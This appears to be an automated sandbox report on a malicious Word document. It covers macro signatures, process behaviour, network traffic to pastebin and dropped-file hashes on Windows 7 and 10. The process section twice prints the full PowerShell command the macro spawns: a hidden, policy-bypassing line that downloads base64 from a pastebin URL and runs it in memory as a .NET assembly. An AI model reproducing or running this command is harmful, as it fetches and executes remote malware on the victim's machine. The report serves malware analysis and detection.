Analysis Overview
SHA256
5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077
Threat Level: Known bad
The file 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
Office macro that triggers on suspicious action
Blocklisted process makes network request
Legitimate hosting services abused for malware hosting/C2
Drops file in Windows directory
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-24 17:18
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-24 17:18
Reported
2024-07-24 17:21
Platform
win7-20240704-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 172.67.19.24:443 | pastebin.com | tcp |
Files
memory/332-0-0x000000002F921000-0x000000002F922000-memory.dmp
memory/332-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/332-2-0x00000000715FD000-0x0000000071608000-memory.dmp
memory/332-4-0x0000000000640000-0x0000000000740000-memory.dmp
memory/332-6-0x0000000000640000-0x0000000000740000-memory.dmp
memory/332-5-0x0000000000640000-0x0000000000740000-memory.dmp
memory/1976-10-0x00000000054A0000-0x00000000054FB000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
memory/332-42-0x00000000715FD000-0x0000000071608000-memory.dmp
memory/332-43-0x0000000000640000-0x0000000000740000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
| MD5 | 2f0f834345048da28b27f2fa6da7069c |
| SHA1 | 5c07a13a2ae65bed0ed1e9b9f22f413f00db18ed |
| SHA256 | ee75dbaa8d608a14727b0d5015bbcfd03d2a61f92288ace767f54c582609df90 |
| SHA512 | 7addddb2e71d5d98dd8fa17acc9dff260e22f2451e455a5a6c0fa286ea6f1780a52b199db4e890c70225c25b108a22b0bdd249a3c9a5fa1c8ccf9dcd6efd7fd8 |
memory/332-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\53B49E3D.emf
| MD5 | f8c7ec6da57ae75490132ff35cef2247 |
| SHA1 | 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8 |
| SHA256 | 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb |
| SHA512 | e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094 |
memory/332-69-0x0000000000640000-0x0000000000740000-memory.dmp
memory/332-68-0x00000000715FD000-0x0000000071608000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-24 17:18
Reported
2024-07-24 17:21
Platform
win10v2004-20240709-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2928 wrote to memory of 4064 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2928 wrote to memory of 4064 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 235.4.20.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.193.132.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 2.17.209.140:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 140.209.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
memory/2928-0-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-3-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-2-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-1-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-4-0x00007FFE8E5AD000-0x00007FFE8E5AE000-memory.dmp
memory/2928-6-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-8-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-9-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-10-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-11-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-12-0x00007FFE4C160000-0x00007FFE4C170000-memory.dmp
memory/2928-15-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-14-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-13-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-7-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-5-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-16-0x00007FFE4C160000-0x00007FFE4C170000-memory.dmp
memory/2928-18-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-22-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-21-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-20-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-19-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-17-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-38-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-39-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/4064-43-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CEDA6E70.emf
| MD5 | f8c7ec6da57ae75490132ff35cef2247 |
| SHA1 | 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8 |
| SHA256 | 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb |
| SHA512 | e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094 |
memory/4064-50-0x00000204DA890000-0x00000204DA8B2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jqgpclbb.5gu.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4064-60-0x00000204DAB50000-0x00000204DAB94000-memory.dmp
memory/4064-61-0x00000204DAE40000-0x00000204DAEB6000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
| MD5 | 168b9cf80b9afeb3ba7d2ce282e8e9c1 |
| SHA1 | e0690a16ebf8104da82a30bf0072ed64f2661844 |
| SHA256 | 4985e0e1a131539af6a30aa39da5697961e47a39c23124f7f7d754d8be45ce82 |
| SHA512 | 724dc47239ff529c36b2bd4896d978b80f573a612d634fd02e9662754fc96c3e4c2639ffe88eef61db47852bfeb79274b44dd0f0a41884e3f271550f543b6c5f |
memory/2928-89-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\TCDF636.tmp\sist02.xsl
| MD5 | f883b260a8d67082ea895c14bf56dd56 |
| SHA1 | 7954565c1f243d46ad3b1e2f1baf3281451fc14b |
| SHA256 | ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353 |
| SHA512 | d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e |
memory/2928-207-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/4064-208-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp
memory/2928-233-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-232-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-235-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-234-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp
memory/2928-236-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp